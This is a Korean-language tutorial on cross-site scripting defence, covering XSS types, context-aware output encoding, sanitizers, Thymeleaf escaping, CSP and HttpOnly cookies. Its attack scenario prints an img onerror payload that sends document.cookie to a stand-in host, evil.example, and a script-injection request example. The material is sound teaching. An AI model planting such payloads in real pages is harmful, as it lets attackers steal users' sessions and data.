이 문서를 통해 아래 질문들에 답할 수 있게 됩니다.

  • 저장 XSS, 반사 XSS, DOM XSS는 어떻게 다른가?
  • XSS 방어에서 입력 검증보다 출력 위치별 encoding이 중요한 이유는 무엇인가?
  • CSP와 HttpOnly Cookie는 XSS 피해를 어떻게 줄이고 무엇을 대체하지 못하는가?

개요

XSS는 Cross-Site Scripting이다.

공격자가 피해자 브라우저에서 공격자 script를 실행하게 만드는 문제다.

XSS가 성공하면 페이지의 DOM을 읽고 바꾸거나, 사용자의 권한으로 요청을 보내거나, localStorage token을 훔치거나, 가짜 로그인 화면을 띄울 수 있다.

HttpOnly Cookie는 session 값을 JavaScript가 읽는 것을 줄이지만, XSS가 사용자의 브라우저에서 요청을 보내는 것 자체를 막지는 못한다.

공격 시나리오

게시판 댓글 기능이 있다.

서버는 댓글 본문을 DB에 저장하고 상세 페이지에서 HTML로 렌더링한다.

공격자는 댓글에 다음 문자열을 저장한다.

<img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">

다른 사용자가 게시글을 열면 script가 실행된다. session cookie가 HttpOnly라면 document.cookie로 session을 읽지는 못할 수 있다. 하지만 공격 script는 같은 origin에서 API 요청을 보낼 수 있고, localStorage token이 있으면 읽을 수 있다.

취약한 요청/응답 예시

POST /api/comments HTTP/1.1
Host: app.example.com
Authorization: Bearer user-token
Content-Type: application/json
 
{"body":"<script>fetch('/api/me').then(r=>r.text()).then(send)</script>"}
HTTP/1.1 200 OK
Content-Type: text/html
 
<div class="comment"><script>fetch('/api/me').then(r=>r.text()).then(send)</script></div>

입력 저장과 HTML 출력 위치의 encoding이 분리되지 않아 script가 실행된다.

주제별 핵심 판단

stored XSS:
  악성 입력이 DB에 저장되고 다른 사용자가 볼 때 실행된다.
 
reflected XSS:
  요청 파라미터가 응답 HTML에 바로 반사되어 실행된다.
 
DOM XSS:
  서버 응답보다 클라이언트 JavaScript가 location, hash, postMessage, localStorage 값을 unsafe sink에 넣어 실행된다.

방어도 위치별로 달라진다.

개선된 요청/응답 예시

XSS 방어의 기본은 context-aware output encoding이다.

  • 개선된 출력은 HTML, attribute, URL, JavaScript context에 맞는 인코딩을 적용한다.
  • 저장형 XSS 대응은 payload 제거, cache purge, 영향 사용자 session 보호를 함께 처리한다.

방어 설계

HTML body:
  < -> &lt;
  > -> &gt;
 
HTML attribute:
  quote와 attribute delimiter 처리
 
JavaScript string:
  JS escape 필요
 
URL:
  URL validation과 encoding 필요
 
rich text:
  allowlist sanitizer 필요

입력 검증은 길이, 타입, 허용 문자 같은 데이터 품질을 관리하는 데 필요하다. 그러나 입력 단계에서 모든 출력 context를 알 수 없으므로 출력 encoding을 대체하지 못한다.

HTML을 허용해야 하는 rich text 기능은 sanitizer allowlist를 둔다. script, event handler attribute, javascript: URL은 제거해야 한다.

Spring/HTTP 예시

서버가 HTML을 렌더링한다면 템플릿 엔진의 자동 escaping을 끄지 않는다.

<div class="comment" th:text="${comment.body}"></div>

다음처럼 raw HTML 출력은 별도 sanitizer 없이는 위험하다.

<div class="comment" th:utext="${comment.body}"></div>

JSON API는 content type을 정확히 둔다.

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff

CSP는 보조 방어선으로 적용한다.

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

nonce를 쓴다면 요청마다 예측 불가능한 값을 생성하고 inline script에만 부여한다.

운영 로그와 감사 지점

level=WARN event=xss_payload_rejected result=blocked actor_id=1004 field=comment.body reason=html_sanitizer_removed_script trace_id=19ee0f41
level=WARN event=csp_violation_reported result=observed blocked_uri=https://evil.example directive=script-src document_uri=/posts/77 trace_id=19ee0f42

로그에는 payload 전체를 남기지 않는다. 공격 payload가 로그 뷰어에서 다시 실행되거나 민감 데이터를 포함할 수 있기 때문이다.

실전 판단 기준

  • 저장된 <script>와 event handler attribute가 실행되지 않는가?
  • 입력 필터 하나로 모든 XSS context를 막을 수 있다고 보지 않는다.
  • CSP는 피해를 줄이는 보조 방어이며 출력 인코딩과 안전한 DOM API를 대체하지 않는다.

테스트 포인트

  • HTML body, attribute, URL, JavaScript context별 encoding 테스트가 있는가?
  • DOM에서 innerHTML, outerHTML, document.write 같은 unsafe sink 사용이 없는가?
  • rich text sanitizer가 javascript: URL과 event handler를 제거하는가?
  • localStorage에 장기 token이 없어 XSS 피해가 줄어드는가?
  • CSP report-only에서 violation을 본 뒤 enforce로 전환하는 절차가 있는가?

위험 신호!

  • 입력에서 <script>만 제거하면 된다고 생각한다.
  • 템플릿의 raw HTML 출력 기능을 sanitizer 없이 쓴다.
  • JSON 응답을 text/html로 반환한다.
  • 사용자 입력을 JavaScript 문자열 안에 직접 삽입한다.
  • CSP에 unsafe-inline*가 넓게 들어 있다.
  • XSS payload 원문을 관리자 로그 화면에 그대로 출력한다.

확인 질문

확인 질문

  • XSS 방어에서 출력 encoding이 중요한 이유는 무엇인가?
    • 같은 입력도 HTML, attribute, JavaScript, URL context에서 필요한 escaping이 다르기 때문이다.
  • HttpOnly Cookie가 XSS를 완전히 막지 못하는 이유는 무엇인가?
    • cookie 값 읽기는 줄여도 공격 script가 사용자의 브라우저에서 같은 origin 요청을 보내는 것은 가능하기 때문이다.
  • CSP는 어떤 위치의 방어선인가?
    • 안전한 encoding과 sanitizer 이후에 script 실행 범위를 줄이는 보조 방어선이다.

참고 문서